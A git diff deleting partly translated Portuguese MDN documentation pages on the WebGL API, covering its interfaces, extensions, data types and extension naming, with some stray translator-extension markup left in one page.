-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/api/webgl_api/index.html b/files/pt-pt/web/api/webgl_api/index.html
deleted file mode 100644
index 69f79c67f6..0000000000
--- a/files/pt-pt/web/api/webgl_api/index.html
+++ /dev/null
@@ -1,255 +0,0 @@
----
-title: 'API de WebGL: Gráficos 2D e 3D para a Web'
-slug: Web/API/WebGL_API
-tags:
- - 3D
- - API de WebGL
- - Avançado
- - Gráficos 3D
- - Multimedia
- - Referencia
- - Resumo
- - Sinopse
- - WebGL
- - graficos
-translation_of: Web/API/WebGL_API
----
-<div>{{WebGLSidebar}}</div>
-
-<div class="summary">
-<p>WebGL (Biblioteca de Gráficos da Web) é uma API de JavaScript para a renderização de gráficos 2D e 3D interativos dentro de qualquer navegador da Web compatível sem a utilização de plug-ins. WebGL fazi isso, ao introduzir uma API que está em conformidade com o OpenGL ES 2.0 que pode ser utilizado em elementos {{HTMLElement("canvas")}} de HTML5.</p>
-</div>
-
-<p>O suporte para WebGL está presente no <a href="/pt-PT/docs/Mozilla/Firefox" title="Firefox 4 for developers">Firefox</a> 4+, <a href="http://www.google.com/chrome/" title="http://www.google.com/chrome/">Google Chrome</a> 9+, <a href="http://www.opera.com/" title="http://www.opera.com/">Opera</a> 12+, <a href="http://www.apple.com/safari/" title="http://www.apple.com/fr/safari/">Safari </a>5.1+ and <a href="http://windows.microsoft.com/en-us/internet-explorer/browser-ie" title="http://windows.microsoft.com/en-us/internet-explorer/download-ie">Internet Explorer</a> 11+, e <a href="https://www.microsoft.com/pt-pt/windows/microsoft-edge">Microsoft Edge</a> build 10240+; contudo, o dispositivo do utilizador também deve ter hardware que suporte estas funcionalidades.</p>
-
-<p>O elemento {{HTMLElement("canvas")}} também é utilizado por <a href="/pt-PT/docs/Web/API/API_de_canvas">Canvas 2D</a> para gráficos 2D nas páginas da Web.</p>
-
-<h2 id="Referência">Referência</h2>
-
-<h3 id="Interfaces_padrão">Interfaces padrão</h3>
-
-<div class="index">
-<ul>
- <li>{{domxref("WebGLRenderingContext")}}</li>
- <li>{{domxref("WebGL2RenderingContext")}} {{experimental_inline}}</li>
- <li>{{domxref("WebGLActiveInfo")}}</li>
- <li>{{domxref("WebGLBuffer")}}</li>
- <li>{{domxref("WebGLContextEvent")}}</li>
- <li>{{domxref("WebGLFramebuffer")}}</li>
- <li>{{domxref("WebGLProgram")}}</li>
- <li>{{domxref("WebGLQuery")}} {{experimental_inline}}</li>
- <li>{{domxref("WebGLRenderbuffer")}}</li>
- <li>{{domxref("WebGLSampler")}} {{experimental_inline}}</li>
- <li>{{domxref("WebGLShader")}}</li>
- <li>{{domxref("WebGLShaderPrecisionFormat")}}</li>
- <li>{{domxref("WebGLSync")}} {{experimental_inline}}</li>
- <li>{{domxref("WebGLTexture")}}</li>
- <li>{{domxref("WebGLTransformFeedback")}} {{experimental_inline}}</li>
- <li>{{domxref("WebGLUniformLocation")}}</li>
- <li>{{domxref("WebGLVertexArrayObject")}} {{experimental_inline}}</li>
-</ul>
-</div>
-
-<h3 id="Extensões">Extensões</h3>
-
-<div class="index">
-<ul>
- <li>{{domxref("ANGLE_instanced_arrays")}}</li>
- <li>{{domxref("EXT_blend_minmax")}}</li>
- <li>{{domxref("EXT_color_buffer_float")}}</li>
- <li>{{domxref("EXT_color_buffer_half_float")}}</li>
- <li>{{domxref("EXT_disjoint_timer_query")}}</li>
- <li>{{domxref("EXT_frag_depth")}}</li>
- <li>{{domxref("EXT_sRGB")}}</li>
- <li>{{domxref("EXT_shader_texture_lod")}}</li>
- <li>{{domxref("EXT_texture_filter_anisotropic")}}</li>
- <li>{{domxref("OES_element_index_uint")}}</li>
- <li>{{domxref("OES_standard_derivatives")}}</li>
- <li>{{domxref("OES_texture_float")}}</li>
- <li>{{domxref("OES_texture_float_linear")}}</li>
- <li>{{domxref("OES_texture_half_float")}}</li>
- <li>{{domxref("OES_texture_half_float_linear")}}</li>
- <li>{{domxref("OES_vertex_array_object")}}</li>
- <li>{{domxref("WEBGL_color_buffer_float")}}</li>
- <li>{{domxref("WEBGL_compressed_texture_astc")}}</li>
- <li>{{domxref("WEBGL_compressed_texture_atc")}}</li>
- <li>{{domxref("WEBGL_compressed_texture_etc")}}</li>
- <li>{{domxref("WEBGL_compressed_texture_etc1")}}</li>
- <li>{{domxref("WEBGL_compressed_texture_pvrtc")}}</li>
- <li>{{domxref("WEBGL_compressed_texture_s3tc")}}</li>
- <li>{{domxref("WEBGL_compressed_texture_s3tc_srgb")}}</li>
- <li>{{domxref("WEBGL_debug_renderer_info")}}</li>
- <li>{{domxref("WEBGL_debug_shaders")}}</li>
- <li>{{domxref("WEBGL_depth_texture")}}</li>
- <li>{{domxref("WEBGL_draw_buffers")}}</li>
- <li>{{domxref("WEBGL_lose_context")}}</li>
-</ul>
-</div>
-
-<h3 id="Eventos">Eventos</h3>
-
-<ul>
- <li>{{Event("webglcontextlost")}}</li>
- <li>{{Event("webglcontextrestored")}}</li>
- <li>{{Event("webglcontextcreationerror")}}</li>
-</ul>
-
-<h3 id="Constantes_e_tipos">Constantes e tipos</h3>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/API/WebGL_API/Constantes">Constantes de WebGL</a></li>
- <li><a href="/pt-PT/docs/Web/API/WebGL_API/Tipos">Tipos de WebGL</a></li>
-</ul>
-
-<h3 id="WebGL_2">WebGL 2</h3>
-
-<p>WebGL 2 é uma atualização muito importante para WebGL que é fornecida através da inteface de {{domxref("WebGL2RenderingContext")}}. Esta tem como base o OpenGL ES 3.0 e novas funcionalidades includas:</p>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/WebGL2RenderingContext/texImage3D">3D textures</a>,</li>
- <li><a href="/en-US/docs/Web/API/WebGLSampler">Sampler objects</a>,</li>
- <li><a href="/en-US/docs/Web/API/WebGL2RenderingContext#Uniform_buffer_objects">Uniform Buffer objects</a>,</li>
- <li><a href="/en-US/docs/Web/API/WebGLSync">Sync objects</a>,</li>
- <li><a href="/en-US/docs/Web/API/WebGLQuery">Query objects</a>,</li>
- <li><a href="/en-US/docs/Web/API/WebGLTransformFeedback">Transform Feedback objects</a>,</li>
- <li>Promoted extensions that are now core to WebGL 2: <a href="/en-US/docs/Web/API/WebGLVertexArrayObject">Vertex Array objects</a>, <a href="/en-US/docs/Web/API/WebGL2RenderingContext/drawArraysInstanced">instancing</a>, <a href="/en-US/docs/Web/API/WebGL2RenderingContext/drawBuffers">multiple render targets</a>, <a href="/en-US/docs/Web/API/EXT_frag_depth">fragment depth</a>.</li>
-</ul>
-
-<p>See also the blog post <a href="https://hacks.mozilla.org/2017/01/webgl-2-lands-in-firefox/">"WebGL 2 lands in Firefox"</a> and <a href="http://webglsamples.org/WebGL2Samples/">webglsamples.org/WebGL2Samples</a> for a few demos.</p>
-
-<h2 id="Guias_e_tutoriais">Guias e tutoriais</h2>
-
-<p>Below, you'll find an assortment of guides to help you learn WebGL concepts and tutorials that offer step-by-step lessons and examples.</p>
-
-<h3 id="Guias">Guias</h3>
-
-<dl>
- <dt><a href="/pt-PT/docs/Web/API/WebGL_API/Dados">Dados em WebGL</a></dt>
- <dd>A guide to variables, buffers, and other types of data used when writing WebGL code.</dd>
- <dt><a href="/en-US/docs/Web/API/WebGL_API/WebGL_best_practices">WebGL best practices</a></dt>
- <dd>Tips and suggestions to help you improve the quality, performance, and reliability of your WebGL content.</dd>
- <dt><a href="/en-US/docs/Web/API/WebGL_API/Using_Extensions">Using extensions</a></dt>
- <dd>A guide to using WebGL extensions.</dd>
-</dl>
-
-<h3 id="Tutoriais">Tutoriais</h3>
-
-<dl>
- <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial">WebGL tutorial</a></dt>
- <dd>A beginner's guide to WebGL core concepts. A good place to start if you don't have previous WebGL experience.</dd>
-</dl>
-
-<h3 id="Exemplos">Exemplos</h3>
-
-<dl>
- <dt><a href="/en-US/docs/Web/API/WebGL_API/Basic_2D_animation_example">A basic 2D WebGL animation example</a></dt>
- <dd>This example demonstrates the simple animation of a one-color shape. Topics examined are adapting to aspect ratio differences, a function to build shader programs from sets of multiple shaders, and the basics of drawing in WebGL.</dd>
- <dt><a href="/en-US/docs/Web/API/WebGL_API/By_example">WebGL by example</a></dt>
- <dd>A series of live samples with short explanations that showcase WebGL concepts and capabilities. The examples are sorted according to topic and level of difficulty, covering the WebGL rendering context, shader programming, textures, geometry, user interaction, and more.</dd>
-</dl>
-
-<h3 id="Tutoriais_avançados">Tutoriais avançados</h3>
-
-<dl>
- <dt><a href="/en-US/docs/Web/API/WebGL_API/WebGL_model_view_projection">WebGL model view projection</a></dt>
- <dd>A detailed explanation of the three core matrices that are typically used to represent a 3D object view: the model, view and projection matrices.</dd>
- <dt><a href="/en-US/docs/Web/API/WebGL_API/Matrix_math_for_the_web">Matrix math for the web</a></dt>
- <dd>A useful guide to how 3D transform matrices work, and can be used on the web — both for WebGL calculations and in CSS3 transforms.</dd>
-</dl>
-
-<h2 id="Recursos">Recursos</h2>
-
-<ul>
- <li><a href="https://www.youtube.com/embed/H4c8t6myAWU/?feature=player_detailpage">Raw WebGL: An introduction to WebGL</a> A talk by Nick Desaulniers that introduces the basics of WebGL. This is a great place to start if you've never done low-level graphics programming.</li>
- <li><a href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">Khronos WebGL site</a> The main web site for WebGL at the Khronos Group.</li>
- <li><a href="http://learningwebgl.com/blog/?page_id=1217" title="http://learningwebgl.com/blog/">Learning WebGL</a> A site with tutorials on how to use WebGL.</li>
- <li><a href="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/" title="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/">WebGL Fundamentals</a> A basic tutorial with fundamentals of WebGL.</li>
- <li><a href="http://webglplayground.net" title="http://webglplayground.net">WebGL playground</a> An online tool for creating and sharing WebGL projects. Good for quick prototyping and experimenting.</li>
- <li><a href="http://www.webglacademy.com" title="http://www.webglacademy.com">WebGL Academy</a> An HTML/JavaScript editor with tutorials to learn basics of webgl programming.</li>
- <li><a href="http://webglstats.com/">WebGL Stats</a> A site with statistics about WebGL capabilities in browsers on different platforms.</li>
-</ul>
-
-<h3 id="Bibliotecas">Bibliotecas</h3>
-
-<ul>
- <li><a class="link-https" href="https://github.com/toji/gl-matrix" title="https://github.com/toji/gl-matrix">glMatrix</a> is a JavaScript matrix and vector library for high-performance WebGL apps.</li>
- <li><a href="http://senchalabs.github.com/philogl/">PhiloGL</a> is a WebGL framework for data visualization, creative coding, and game development.</li>
- <li><a href="http://www.pixijs.com/">Pixi.js</a> is a fast, open-source 2D WebGL renderer.</li>
- <li><a href="https://playcanvas.com/">PlayCanvas</a> is an open-source game engine.</li>
- <li><a href="http://sylvester.jcoglan.com/" title="http://sylvester.jcoglan.com/">Sylvester</a> is an open-source library for manipulating vectors and matrices. Not optimized for WebGL but extremely robust.</li>
- <li><a href="https://threejs.org/">three.js</a> is an open-source, fully featured 3D WebGL library.</li>
-</ul>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('WebGL')}}</td>
- <td>{{Spec2('WebGL')}}</td>
- <td>Initial definition. Based on OpenGL ES 2.0</td>
- </tr>
- <tr>
- <td>{{SpecName('WebGL2')}}</td>
- <td>{{Spec2('WebGL2')}}</td>
- <td>Builds on top of WebGL 1. Based on OpenGL ES 3.0.</td>
- </tr>
- <tr>
- <td>{{SpecName('OpenGL ES 2.0')}}</td>
- <td>{{Spec2('OpenGL ES 2.0')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('OpenGL ES 3.0')}}</td>
- <td>{{Spec2('OpenGL ES 3.0')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<h3 id="WebGL_1">WebGL 1</h3>
-
-<div>
-
-
-<p>{{Compat("api.WebGLRenderingContext", 0)}}</p>
-
-<h3 id="WebGL_2_2">WebGL 2</h3>
-
-<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
-
-<p>{{Compat("api.WebGL2RenderingContext", 0)}}</p>
-</div>
-
-<h3 id="Notas_de_compatibilidade">Notas de compatibilidade</h3>
-
-<p>In addition to the browser, the GPU itself also needs to support the feature. So, for example, S3 Texture Compression (S3TC) is only available on Tegra-based tablets. Most browsers make the WebGL context available through the <code>webgl</code> context name, but older ones need <code>experimental-webgl</code> as well. In addition, the upcoming <a href="/en-US/docs/Web/API/WebGL2RenderingContext">WebGL 2</a> is fully backwards-compatible and will have the context name <code>webgl2</code>.</p>
-
-<h3 id="Notas_do_Gecko">Notas do Gecko</h3>
-
-<h4 id="Depuração_e_teste_de_WebGL">Depuração e teste de WebGL</h4>
-
-<p>Starting with Gecko 10.0 {{geckoRelease("10.0")}}, there are two preferences available which let you control the capabilities of WebGL for testing purposes:</p>
-
-<dl>
- <dt><code>webgl.min_capability_mode</code></dt>
- <dd>A Boolean property that, when <code>true</code>, enables a minimum capability mode. When in this mode, WebGL is configured to only support the bare minimum feature set and capabilities required by the WebGL specification. This lets you ensure that your WebGL code will work on any device or browser, regardless of their capabilities. This is <code>false</code> by default.</dd>
- <dt><code>webgl.disable_extensions</code></dt>
- <dd>A Boolean property that, when <code>true</code>, disables all WebGL extensions. This is <code>false</code> by default.</dd>
-</dl>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/API/API_de_canvas">API de Canvas</a></li>
- <li><a href="https://developer.mozilla.org/pt-PT/docs/Web/API/WebGLRenderingContext/getSupportedExtensions">informação de compatibilidade sobre as extensões WebGL</a></li>
-</ul>
diff --git a/files/pt-pt/web/api/webgl_api/types/index.html b/files/pt-pt/web/api/webgl_api/types/index.html
deleted file mode 100644
index 1228b2a17a..0000000000
--- a/files/pt-pt/web/api/webgl_api/types/index.html
+++ /dev/null
@@ -1,243 +0,0 @@
----
-title: Tipos de WebGL
-slug: Web/API/WebGL_API/Types
-translation_of: Web/API/WebGL_API/Types
-original_slug: Web/API/WebGL_API/Tipos
----
-<div>{{WebGLSidebar}}</div>
-
-<p>Os seguintes tipos são utilizados nas interfaces de <a href="/pt-PT/docs/Web/API/WebGL_API">WebGL</a>.</p>
-
-<h2 id="WebGL_1">WebGL 1</h2>
-
-<p>These types are used within a {{domxref("WebGLRenderingContext")}}.</p>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <td class="header">Tipo</td>
- <td class="header">Tipo de IDL Web</td>
- <td class="header">Descrição</td>
- </tr>
- <tr>
- <td><code>GLenum</code></td>
- <td><code>unsigned long</code></td>
- <td>Used for enums. See also the list of <a href="/en-US/docs/Web/API/WebGL_API/Constants">constants</a>.</td>
- </tr>
- <tr>
- <td><code>GLboolean</code></td>
- <td><code>boolean</code></td>
- <td>A {{jsxref("Boolean")}}.</td>
- </tr>
- <tr>
- <td><code>GLbitfield</code></td>
- <td><code>unsigned long</code></td>
- <td>A bit field that stores multiple, logical bits. Used for example in {{domxref("WebGLRenderingContext.clear()")}}.</td>
- </tr>
- <tr>
- <td><code>GLbyte</code></td>
- <td><code>byte</code></td>
- <td>8-bit twos complement signed integer.</td>
- </tr>
- <tr>
- <td><code>GLshort</code></td>
- <td><code>short</code></td>
- <td>16-bit twos complement signed integer.</td>
- </tr>
- <tr>
- <td><code>GLint</code></td>
- <td><code>long</code></td>
- <td>32-bit twos complement signed integer.</td>
- </tr>
- <tr>
- <td><code>GLsizei</code></td>
- <td><code>long</code></td>
- <td>Used for sizes (e.g. width and height of the drawing buffer).</td>
- </tr>
- <tr>
- <td><code>GLintptr</code></td>
- <td><code>long long</code></td>
- <td>Special type for pointer arithmetic.</td>
- </tr>
- <tr>
- <td><code>GLsizeiptr</code></td>
- <td><code>long long</code></td>
- <td>Special type for pointer arithmetic.</td>
- </tr>
- <tr>
- <td><code>GLubyte</code></td>
- <td><code>octet</code></td>
- <td>8-bit twos complement unsigned integer.</td>
- </tr>
- <tr>
- <td><code>GLushort</code></td>
- <td><code>unsigned short</code></td>
- <td>16-bit twos complement unsigned integer.</td>
- </tr>
- <tr>
- <td><code>GLuint</code></td>
- <td><code>unsigned long</code></td>
- <td>32-bit twos complement unsigned integer.</td>
- </tr>
- <tr>
- <td><code>GLfloat</code></td>
- <td><code>unrestricted float</code></td>
- <td>32-bit IEEE floating point number.</td>
- </tr>
- <tr>
- <td><code>GLclampf</code></td>
- <td><code>unrestricted float</code></td>
- <td>Clamped 32-bit IEEE floating point number.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="WebGL_2">WebGL 2</h2>
-
-<p>These types are used within a {{domxref("WebGL2RenderingContext")}}. All WebGL 1 types are used as well.</p>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <td class="header">Tipo</td>
- <td class="header">Tipo IDL Web</td>
- <td class="header">Descrição</td>
- </tr>
- <tr>
- <td><code>GLint64</code></td>
- <td><code>long long</code></td>
- <td>Signed 64-bit integer number.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="WebGL_extensions">WebGL extensions</h2>
-
-<p>Estes tipos são utilziados dentro das <a href="/pt-PT/docs/Web/API/WebGL_API/Utilizar_Extensões">extensões de WebGL</a>.</p>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <td class="header">Tipo</td>
- <td class="header">Tipo de IDL Web</td>
- <td class="header">Descrição</td>
- </tr>
- <tr>
- <td><code>GLuint64EXT</code></td>
- <td><code>long long</code></td>
- <td>Unsigned 64-bit integer number.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('WebGL', "#5.1", "Types")}}</td>
- <td>{{Spec2('WebGL')}}</td>
- <td>Initial definition</td>
- </tr>
- <tr>
- <td>{{SpecName('WebGL2', "#3.1", "Types")}}</td>
- <td>{{Spec2('WebGL2')}}</td>
- <td>Defines additional types.</td>
- </tr>
- <tr>
- <td>{{SpecName('EXT_disjoint_timer_query', "", "GLuint64EXT")}}</td>
- <td>{{Spec2('EXT_disjoint_timer_query')}}</td>
- <td>Adds <code>GLuint64EXT</code></td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li>{{domxref("WebGLRenderingContext")}}</li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 1; display: none; left: -8px; top: -25px;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/api/webgl_api/using_extensions/index.html b/files/pt-pt/web/api/webgl_api/using_extensions/index.html
deleted file mode 100644
index 30d87afbcd..0000000000
--- a/files/pt-pt/web/api/webgl_api/using_extensions/index.html
+++ /dev/null
@@ -1,719 +0,0 @@
----
-title: Utilizar extensões de WebGL
-slug: Web/API/WebGL_API/Using_Extensions
-tags:
- - Avançado
- - WebGL
-translation_of: Web/API/WebGL_API/Using_Extensions
-original_slug: Web/API/WebGL_API/Utilizar_Extensões
----
-<div>{{WebGLSidebar}}</div>
-
-<p>WebGL, like its sister APIs (OpenGL and OpenGL ES), supports extensions. A complete list of extensions is available in the <a class="external" href="http://www.khronos.org/registry/webgl/extensions/">khronos webgl extension registry</a>.</p>
-
-<div class="note"><strong>Nota:</strong> In WebGL, unlike in other GL APIs, extensions are only available if explicitly requested.</div>
-
-<h2 id="Nomes_de_extensão_canónica_prefixos_e_preferências_da_empresa">Nomes de extensão canónica, prefixos e preferências da empresa</h2>
-
-<p>Extensions may be supported by browser vendors before being officially ratified (but only when they are in draft stage). In that case, their name can be prefixed by the vendor prefix (<code>MOZ_</code>, <code>WEBKIT_</code>, etc.) or the extension is only available once a browser preference has been toggled.</p>
-
-<p>If you wish to work with the bleeding edge of extensions, and want to keep working on upon ratification (assuming, of course, that the extension doesn't change in incompatible ways), that you query the canonical extension name as well as the vendor extension name. For instance:</p>
-
-<pre class="brush:js">var ext = (
- gl.getExtension('OES_vertex_array_object') ||
- gl.getExtension('MOZ_OES_vertex_array_object') ||
- gl.getExtension('WEBKIT_OES_vertex_array_object')
-);
-</pre>
-
-<p>Note that, vendor prefix have been discouraged more and more and thus most browser implement experimental extensions behind a feature flag rather than vendor prefix.</p>
-
-<p>The feature flags are:</p>
-
-<ul>
- <li><code>webgl.enable-draft-extensions</code> in Firefox</li>
- <li><code>chrome://flags/#enable-webgl-draft-extensions</code> in Chromium based browsers (Chrome, Opera).</li>
-</ul>
-
-<h2 id="Convenções_de_nomeação">Convenções de nomeação</h2>
-
-<p>WebGL extensions are prefixed with "ANGLE", "OES", "EXT" or "WEBGL". These prefixes reflect origin and intent:</p>
-
-<ul>
- <li>ANGLE_: Extensions that are written by the <a href="https://en.wikipedia.org/wiki/ANGLE_%28software%29">ANGLE library</a> authors.</li>
- <li>OES_: Extensions that mirror functionality from OpenGL ES or OpenGL API extensions approved by the respective architecture review boards.</li>
- <li>EXT_: Extensions that mirror other OpenGL ES or OpenGL API extensions.</li>
